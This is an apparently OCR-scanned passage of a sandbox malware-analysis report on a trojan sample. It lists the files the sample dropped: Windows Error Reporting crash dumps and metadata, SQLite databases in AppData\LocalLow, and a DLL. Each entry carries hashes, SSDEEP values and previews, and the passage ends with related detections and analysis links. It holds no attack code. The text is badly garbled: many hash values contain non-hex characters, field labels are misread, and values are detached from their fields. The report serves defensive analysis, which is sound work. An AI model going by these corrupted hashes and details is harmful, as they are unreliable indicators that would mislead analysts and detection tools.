48:cviwSD8zsnJgtWI9kwhWSC8B78fm8M4JTSFL+q8D5UKUUvpd:ul TIIFTSNWJIQIKUUvpd
8AF6CI9CAB21971B881AA2E161BAEGBD4
E26478E1D3B425507C5F6C2264CCFA9546E42F01
858F6A68DF87B7112749F99FF2710243242FB3D963E8A1DBF52FBC37AEBBIEEB

BC3FAAF858916DF7073FBD62A8A434EA09COA7BB7E372EE4E9DS51FE64CD4A8A2043C10EEBOGE609879DCDB47969F8AE65599CD461AEFEE3D08992FBCD6F3E
1E5

false

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>.. <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874273" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-1
1.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERABEC.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 15 streams, Tue Feb 23 18:03:35 2021, 0x1205a4 type

dropped

153324

1.8665068783710104

false
384:V5TXpTBQcDTGLgeuFTMJIEURj1hOKCj8+IRGypAv85GoGIXK+0WCJIIbM:HfVCEeLEAj1h/a8+lwypAv80+0rJwW
C48096BB57B5886F0BCD869751E04109

90CBB0OBD86A2C3D9474AC7A0612A1E881B962C8C
136BDESDE4E09024FAE3D000082140C5FDE2329ABC28D22B47C7BE4526D64252

104A5A535CEF3A1CCAEBOE4ESDED1CE6945A4437F66065B28258C2A43F0150855F3DE32206AC99776 CCDADA2C74532E6A34FAS593AE75A1196A0ADOED912957
6

false

MDMP....... ... WC5 Ui B...... $......GenuinelntelW........... T 0C5 ... 0020 Paacciifice. Sitaindaard. . Timee. .
.P.ac.ific. .Day.lig.ht Tim.e .1.7.1.34..1..x8.6.fre..rs4._releas.e..18.04.10.-18.04

............................................................................................... d.b.9.€.0.1.€...1.3.8.6.,.1.0...0... 1.7.1.3. 4. Lo

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB48B.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 15 streams, Tue Feb 23 18:02:30 2021, 0x1205a4 type
dropped

67046

2.404722049978979

false
384:53ius6K0zU9160KuOs+s1Ghs8plrly28KYbyo:s3ib6KoC16/Ls+sUhs8plxy2AV
94073B84473F97D415CEFCF2A247522F
F603ABD43FED342F9BADF2C6C28F982EEF7E543A
8D911827E538BCDOE6BDO6BAB55EAS552036BA1DEF3A17402A826914EDFIEE392

AEA4DC250CE4EO0E9B136EA2DECS538C3F9818CA3FO07EA3ABAB3712880B646A68180B875F6C38ACCDBBF799930D1636705F5DE280D0797DB46BEDBC471A256:
C3

false

020 Paaccificc. Sitandard. .T.im.e..

............................................................................................... d.0.9.€.0.1.€...1.3.8.6.,.1.0...0... 1.7.1.3. 4. Lo

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBB1F.tmp.WERInternalMetadata.xml

Process:

File Type:

Category:

Size (bytes):

Entropy (8bit):

Encrypted:
Copyright null 2021

C:\Windows\SysWOW64\WerFault.exe
XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
dropped
8460
3.7023717163118546
false
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C:\ProgramData\Microsoft\Windows\WER\Temp\WERBB1F.tmp.WERInternalMetadata.xml

SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

192:Rrl7r3GLNIFR6EL6YJIXSU2MOgmMfm8MSjCpBA89bf1sfWVm:RrIsNiDELEYISU2ZMOgmfmdSkfOfl

D1A507755FC8592E49304B4191F55552

F245D6D96EB290CEC3A2E8D9F0B16E7F3D227B7C

10C03A6C4D221EECCF26DC48C5C545D0CE7E21E71B1D2D97952732388EF6AS3E
C2DB6692930C33FEC8695EBCAFBD3248C66295FFB4D84579FC2ACB3433054817E99485CE8D34D3302732AEEFF826A57C1621881DE227E7028F8E54D20E1E48C

false

.<?x.m.l wvers.io.nz="1.0" enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.nlnformation>....<W..nd.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./W..n.d.ow.s.N.T.V.e.rs.i.o.n>.......<B.wu.ild.>17.1.34.</Bu.ild>.....<Pro.du.c.t>(0x3.0).;. . W.in.d.ow.s. .1.0. .P.r.o.
<./.P.ro.d.u.c.t> <.E.d.i.ti.o.n.>.P.ro.fess.io.nal</E.d.it .ild.S.tring>17.1.34.1.amd.6.4fre.rs4._re.leas.e..1804.1.0.-18.0.4.

</.B.uild.S.tring>.....<R.ewvision>1l</R.ewv.ision>.....<Flav.o.r>Multipro.c.ess.or. Free</Flav.o.r>....<Ar.chitecture>X6.4.</.
Ar.ch.itecture>.....<LCl1D.>1.0.3.3</LC.lD>....</l0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.id>714.0</P.i
d>.....

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBD®85.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8436

3.7023440197868607

false
192:Rrl7r3GLNiF06v26YJ3SUAMNgmMfm8MSjCpB189bh1sfwRrm:RrIsNi26+6YZSUAMngmfmdSrhOfwA
261732AF413B4D38954890767807E150

173DE720E1FE08792B50DCE994681E1292C1D53A
D730FE8826AF05AD786D383FD4CB43A06D8457EED5CB44CEE475D505C86DC838

755C618880531A8244B188C3947DC251ECA824823706C65DA3FC176A17EODDAFSE04E3BBOD2ED9BOE23880C302FA474AD0966113AAA84C4B2EACAC8E2241F1E(
B

false

.<?x.m.l wvers.ionz="1..0" enc.o.ding="UTF.-16."?2>..<W.ERR.ep.ortMetadata>...<0.SV.ers.io.n.lnformation>....<W..n.d.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./W.i.n.d.ow.s.N.T.V.e.rs.i.o.n>.......<B.wu.ild.>17.1.34</Bu.ild>.....<Pro.du.c.t>(0x3.0).;. . W.in.d.ow.s. .1.0. .P.r.o.
</.Prod.u.ct>.....<Ed.ition>Profess.ional</Ed.ition>....<BuildString>17134.1.amd6.4fre.rs4._re.leas.e..18.04.1.0.-18.0.4.

</.B.uild.S.tring>.....<R.ewv.ision>1l</R.ewv.is.ion>.....<Flav.or>Multipro.c.ess.or. Free</Flav.o.r>....<Architecture>X6.4.</.
Arch.itecture>.....<LClD.>1.0.3.3</LC.lD>....</0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.id>714.0</P.i
d>......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF7A.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4746

4.548051541633787

false
48:cviwSD8zsnJgtWI9kwhWSC8Bz8fm8M4JTSF8+q8D5UKUUvpd:ul TIIF TSNSIPIKUUvpd
3085A12B3B11916D8F36EB09622DA4BA
702D5AF15ABBI9F8060F06B1E46641689F4DCE28F
99B488865595ABE651E0740B00A54048250A082265B1E6C65EE058F8F286A95B
61CBB756ABE957A1178223E2524D039271C4440B916DF91D53A8C4FA6BB15907D4847D791985D9F6DFIE62AASCEB7ASE26BA808D7A4F1D579B2523F4C5EDGEL

false

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>.. <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874273" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-1
1.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC002.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Copyright null 2021

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4746

4.549014972048913

false
48:cviwSD8zseJgtWI9kwhWSC8Bv8fm8M4JTSFb+g8D5UKUUvpd:ul TFUfTSNCJIcIKUUvpd
54696D915827712EF85E2002267366DC
E174E09D2DDF59203088DE3251C982EDAA738453
3C5D8322868C4F164B2DA6161E28395D339F25B51B78CECS58EE79091B970EFFC
5F823FD9C997C8D62AB71D941A302219F39BCAOEDCDEEE4979DB64D722D70FB96484949D8FFI6FCD4642F049DDEB79DDOCC4AB343A6FFOBAG26A81900A78FE
A
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C:\ProgramData\Microsoft\Windows\WER\Temp\WERC002.tmp.xml

Malicious: false

Preview:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
/>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..
<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="Icid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
/>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874274" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-1
1.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD13B.tmp.dmp

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Mini DuMP crash report, 15 streams, Tue Feb 23 18:02:37 2021, 0x1205a4 type

Category: dropped

Size (bytes): 80560

Entropy (8bit): 2.2606963191474283

Encrypted: false

SSDEEP: 384:FsONSwzU9160KuOs+s1G1npMRDtuRhxJNwiWxh:eOAwC16/Ls+sUlnpMRJIutIBw

MDS5: 0D42C3A646B4A780B45DESBBC5AE061B7

SHA1L: 7351F18AD68166FD3995EEC0A316DBCFB1A97F88

SHA-256: 62D89F35ED2B05BB29D1543F7EEE9E9459315FF55C14BEF52AA0EDO05D461CAC

SHA-512: 25627173860A7EBO4F88EED45B4AB84BES82C7756A48BDFBABFA599C377E5CA912AC3BEDD4BDB3CB55FAF78F2D7862BF6BFOD6409AEE064C5D2E6D5264857!
9F

Malicious: false

Preview:

020 Paaccific. Sitandard. .T.im.e..

.P.a.c.ific. .Day.lig.ht Tim.e

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Process: C:\Windows\SysWOW64\WerFault.exe
File Type: XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category: dropped
Size (bytes): 8438
Entropy (8bit): 3.701419617442047
Encrypted: false
SSDEEP: 192:Rrl7r3GLNiF/6i6YJsSUAMNDgmfm8MSjCpBK89b31sfOvdm:RrIsNit6i6 Y CSUAMDgmMfmdSq30fOl
MDS5: 2F7803C6417803C4BA944ABC7F97671A
SHA1L: F3EF98D29451AAF599BBAF1C659BC250C1342028
SHA-256: D1B2C488816A78F574E4F516272489B07443C9A2166120125038C9FA48BB7ES3
SHA-512: 87589E6F474F84AFBF24BBC42EBFFIF2B42855B9FD26D741A567A08A18237E5FB1CO4AECI4CE386EESC17953F738FBC7210D1BB804460A4321D3F13FED509A8,
Malicious: false
Preview:
.<?x.m.l .vers.io.nz="1.0" enc.o.ding="UTF.-16."2?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.n.lnformation>....<W.n.d.

o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./W.i.n.d.ow.s.N.T.V.e.rs.i.o.n>........<B.wu.ild>17.1.34</Bu.ild>.....<Pro.du.c.t>(0x3.0).;. . W.in.d.ow.s. .1.0. .P.r.o.
</.Prod.u.ct>.....<Ed.itio.n>Profess.ional</Ed.ition>....<B.uildString>17134.1.amd6.4fre.rs4._.re.leas.e..18.04.1.0.-18.0.4.
<./.B.u.ild.S.trin.g.> .<R.ew..s.ion>1</Reuv.ision>. <.F.lav.or>M.u.ltip.r.o.ces.s.or. F.ree</F.lav.o.r>. <.Arc.hitecture>X6.4.</
Ar.chitecture>.....<LClD.>1.0.3.3</LC.lD>....</l0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.id>714.0</P.i
d>......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD93C.tmp.xml

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 4746

Entropy (8bit): 4.549980198729761

Encrypted: false

SSDEEP: 48:cviwSD8zsnJgtWI9kwhWSC8Bb/8fm8M4JTSF1Y++q8D5UKUUvpd:ul TFIFTSNFkJz+IKUUvpd

MD5: 87D6301923AA7TEEC355DA027BEF4B2A1

SHAL: ED353E889D546A03472434A4BEF062DFO0E1DCEE

SHA-256: F350CA9684972EEC2F48EE0A95FDAY09A6E336C2F50894DDE74F261423EF03D8

SHA-512: AFDD39A3561DC40CB6437A2A8D63CE1498C1EC2A88E4A3F3E7BEIDD84B131FBD2A251E770ED53F31DCB7898679D960F51CB441B181C0C6628D66EB4B3CBA7
77

Malicious: false
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C:\ProgramData\Microsoft\Windows\WER\Temp\WERD93C.tmp.xml

Preview:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
/>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
/>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874273" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-1
1.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WERED88.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 15 streams, Tue Feb 23 18:03:51 2021, 0x1205a4 type

dropped

161490

1.9132352850977163

false
384:y59ZQ0vFQgDTLYMWQRMcgM1hOK6j8+IRGVsegewUT3aKf71gS3r0C2tcVZs5:a9XvHXQ5gM1h/i8+wVsePwUmMS3xu
BB1DB5747CCA2DAA7CF8928425CA19F9

F95F98D09B21B7B1E52A2F181EFBBCD0298FC73C
6ECB3E89A85F3222E08B30D88577AA249D328DIEBEDFA401BF6450B089EBOF68

D674AE8DE1C083A1C88997F73DD03AC9956BCE823D96D08120FE57C289DF8775B36D902B215DCE33FF6637E6DBFCDB1C9955A6881C299072B3FEBF310A734D
9

false

H%......GenuinelntelW T 0C5"

.1.7.1.34..1..x.8.6.f.re..rs.4._

.3.8.6.,.1.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF638.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 15 streams, Tue Feb 23 18:02:46 2021, 0x1205a4 type
dropped

98948

2.308937845022777

false

768:e3Y2YudRjkvSYuC16/Ls+sUAM6xmsdlae:MQuTVC1Q1lu20lae
7252463169B1CB7DDE9F484CD51797AA
0903AD301B5583165FF46DD5CD26F51D7EAEA7F8
DD96FA5604239E36AC7BEDEB4AF4008B789E7AAE82E1212DFIB6CFAC1ECIDBA2

14B674DC8EE912C62CAAD99263CA3139BECAFDCADAF8B61A57C4661F250C422F12A5434D7E3E007B4AF50BFF81FA561D364CAC1EEG5325615343E8882FAQEC
16

false

MDMP....... ... FC5 . Ui B.... X GenuinelntelW........... Teed 0C5 ... 0020 Paacciificc. Sitaindaard. . Timee. .
.1.7.1.34..1..x8.6.fre..rs4._releas.e..18.04.10.-18.04

............................................................................................... d.b.9.€.0.1.€...1.3.8.6.,.1.0...0... 1.7.1.3. 4. Lo

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBD2.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2021

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8458

3.703795484622125

false
192:Rrl7r3GLNiFv6Aa6YJISUXhgmfm8MSjCpBH89b91sfXa/m:RrIsNi96Aa6YLSUXhgmfmdSB9Of7
B2D81288949416B59829539EAF4B4BDC

2466B614D6168ADD97E32CCA986CEE29958053CC
1C11C9F668DE2916F2FB21037B2A6AD8B37FF5E207E96A954C38513E3D38472A

84CDAIAOFDFI64AE114F499E60F14D615DAEC3947CI83ADE98DAECCA7ESL17E712F9428D4972295FBA74D5FA36EDO0DIC20C480DCES7DBE29ACDA1929DDEL
FF

false

.<?x.m.l wvers.io.n="1.0" enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.n.lnformation>....<W..nd.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./W.i.n.d.ow.s.N.T.V.e.rs.i.o.n>.......<B.wu.ild>17.1.34</Bu.ild>.....<Pro.du.c.t>(0x3.0).;. . Win.d.ow.s. .1.0. .P.r.o.
</.Prod.u.ct>.....<Ed.ition>Profess.ional</Ed.ition>....<B.uildString>17134.1.amd6.4fre.rs4._re.leas.e..18.04.1.0.-18.0.4.
<./.B.u.ild.S.trin.g.> .<R.ew.s.ion>1</Reuv.ision>. <.F.lav.or>M.ultip.r.o.ces.s.or. Free</Flavor>.....<Arc.hitecture>X6.4.</.
Ar.chitecture>.....<LClD.>1.0.3.3</LC.lD>....</l0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.id>714.0</P..
d>......
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C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8442

3.701478392107274

false
192:Rrl7r3GLNIFN6IdC6YJgSUIM1gmfm8MSjCpBY89bQ1sfywm:RrIsNi/6ldC6YOSUIM1gmfmdS8QOfE
AC86FBDF02E0840F5B6DAC3A701FB11E

C33D26DC825A4B5968E4878EC218FB930BE9IBI56
85586CDF8505818510A0A379BFDCOF5772EDED0O82DFD1124A10FF926FB719A57

33BFAD8CDE5D642AD1EC33F21A4A571BD0OF83F7C4BDBD65FCC666B24ACCICB59531968ABFFB57B67E3C4EB25B2DEB48B49647C2D71501C0149B1C6FC7F97,
5D3

false

.<?x.ml wvers.ionz="1.0" enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.nlnformation>....<W..n.d.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./W.i.n.d.ow.s.N.T.V.e.rs.i.o.n>.......<B.wu.ild>17.1.34.</Bu.ild>.....<P.ro.du.c.t>(0x3.0.).;. . W.in.d.ow.s. .1.0. .P.r.o.
</.Prod.u.ct>.....<Ed.ition>Profess.ional</Ed.ition>....<B.uildString>17134.1.amd6.4fre.rs4._re.leas.e..18.04.1.0.-18.0.4.
<./.B.u.ild.S.trin.g.> .<.R.ew.is.ion>1l</Rewvision>....<Flavor>Multipro.cess.or Free</Flav.or>....<Architecture>X6.4.</
Ar.chitecture>.....<LClD.>1.0.3.3</LC.lD>....</l0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.id>714.0</P.i
d>.....

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFFEA.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4746

4.54942527186672

false
48:cviwSD8zseJgtWI9kwhWSC8B78fm8M4JTSFunFm+q8D5UKUUvpd:ul TFUFTSNOJfnolKUUvpd
7D3D1F9627D8B197D8901CFA5C97454E
D3B45DC66836865EE324EAD165B126D926CFFAS6
F2BBE82E53C035924EFA04B4F952CF9720C1AE077BDB930101E4824A22FD4293
102F81CB94830139D80609E9EDDDC4BBB03C756A1A9E3698D1A6C9617FDC46BDCFD3C52B4D2A7F00E4030495027D83676D2A1131BB98998020F25E1A7C10884

false

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
/>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
/>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874274" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-1
1.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\luser\AppData\LocalLow\1xVPfvJcrg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

73728

1.1874185457069584

false
96:13sa9uKnadsdUDitMkMC1mBKC7g1HFp/GelCEjWTPeKeWhbS8pz/YLcs+P+qigSz4:13rHdMHGTPVbSYghCP46w/1Vumg
72A43D390E478BA9664F03951692D109

482FE43725D7A1614F6E24429E455CD0A920DF7C
593D9DE27A8CA63553E9460E03FD190DCADD2BI6BF63B438B4A92CB05A4D711C

FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFAOCFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC
CE

false

SQLite format 3.

C:\Users\luser\AppData\LocalLow\JbcJeqCquL

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
SQLite 3.x database, last written using SQLite version 3032001

dropped

118784

0.4589067735369779

false
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C:\Users\user\AppData\LocalLow\JbcJeqCquL

SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

48:TXYBfHNPMSETQTbKPHBSRKOLKRf+z4QHItYysXOuhnHul32RUioVelNUravDLjY/:UWU+bDoYysX0uhnydVjN9DLjGQLBE3u
89CE01DCBODC182AFF651E0094A2A7A2

DBFC15F5503780095741421FCC662D72460D804A

1A0599ED2576D1224FDESE4B512BF36AA0D322765C8F83ADDF9487D6D4ES11E0
86E16B4D227056BB75D51F4D01F69E8585626664401E14C1F052C8C9F6D6F4BF5C3FAB041FCDB33E9DSEBB82785D9B382E97FBBBCD0550BA49776C14934079E

false

SQLite format 3...... @ e ettt te e teehee e heeatteeatte ettt asteeaste ettt ateeeaeeeaaeeeteeeteeaeeeteeasteeaseeateeanteenrreereen

C:\Users\user\AppData\LocalLow\RYwTiizs2t

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 73728

Entropy (8bit):  1.1874185457069584

Encrypted: false

SSDEEP: 96:13sa9uKnadsdUDitMkMC1mBKC7g1HFp/GelCEjWTPeKeWhbS8pz/YLcs+P+qigSz4:13rHdMHGTPVbSYghCP46w/1Vumg

MD5: 72A43D390E478BA9664F03951692D109

SHA1: 482FE43725D7A1614F6E24429E455CD0OA920DF7C

SHA-256: 593D9DE27A8CA63553E9460E03FD190DCADD2B96BF63B438B4A92CB05A4D711C

SHA-512: FF2777DCDDC72561CF694E2347C5755F19A13D4AC2C1A80C74ADEBB1436C2987DFAOCFBE4BAFD8F853281B24CA03ED708BA3400F2144A5EB3F333CC255DAC
CE

Malicious: false

Preview:

C:\Usersluser\AppDatalLocalLow\eE8sF0yG2eQ6fT7\AccessibleHandler.dll v

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 123344

Entropy (8bit):  6.504957642040826

Encrypted: false

SSDEEP: 1536:DkO/6RZFrpiS7ewfINGa35i0rmwWTYP1KxBxZJByEJMBrsuLeLsWxcdaocACsOK:biRZFdBiussQ1MBjg2aocts03/7FE

MD5: F92586E9CC1F12223B7EEB1A8CD4323C

SHA1L: F5EB4AB2508F27613F4D85D798FA793BB0OBD04B0

SHA-256: A1A2BB03A7CFCEA8944845A8FC12974482F44B44FD20BE73298FFD630F65D8D0

SHA-512: 5C047AB885A8ACCB604E58C1806C82474DCA43E1F997B267F90C68A078CB63EE78A93D1496E6DDAF5A72FDF246F40EF19CESCAOD0296BBCFCFA964E4921E68A
F

Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

Joe Sandbox
View:

Preview:

Copyright null 2021

.

Antivirus: ReversingLabs, Detection: 0%

Filename: SecuriteInfo.com.W32.AlDetectGBM.malware.02.16429.exe, Detection: malicious, Browse
Filename: mDxyEfHSMs.exe, Detection: malicious, Browse
Filename: A6Qom7We0Ol.exe, Detection: malicious, Browse
Filename: BHuul8LETf.exe, Detection: malicious, Browse
Filename: mlhholPLan.exe, Detection: malicious, Browse
Filename: nyDyMJGKWD.exe, Detection: malicious, Browse
Filename: HA2a7FagC6.exe, Detection: malicious, Browse
Filename: MakYpSHZKE.exe, Detection: malicious, Browse
Filename: xytEWWD2QN.exe, Detection: malicious, Browse
Filename: itgFYYnmb5j.exe, Detection: malicious, Browse
Filename: HDMInstaller.exe, Detection: malicious, Browse
Filename: zrmbk.exe, Detection: malicious, Browse
Filename: e7zQwqIDCO.exe, Detection: malicious, Browse
Filename: RddH6rLRfH.exe, Detection: malicious, Browse
Filename: 4PDNbYKS5fj.exe, Detection: malicious, Browse
Filename: pmTdQ57tvM.exe, Detection: malicious, Browse
Filename: 7BtV39hzil.exe, Detection: malicious, Browse
Filename: dc4AagW6Aa.exe, Detection: malicious, Browse
Filename: IAy87VNPIL.exe, Detection: malicious, Browse
Filename: 97aa4Ywd9y.exe, Detection: malicious, Browse

© © © o © o6 o 0o o 0 0 o 0 0 0 0 0 o o o
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https://www.metadefender.com/#!/results/file/YnpJd01EVXpNRzVIZDNkUFpqWlRZMjBrOUxnd3hfZHZz/regular/analysis
https://view.joesandbox.com/analysis/266602/html/none
https://view.joesandbox.com/analysis/265062/html/none
https://view.joesandbox.com/analysis/264408/html/none
https://view.joesandbox.com/analysis/264401/html/none
https://view.joesandbox.com/analysis/264399/html/none
https://view.joesandbox.com/analysis/264398/html/none
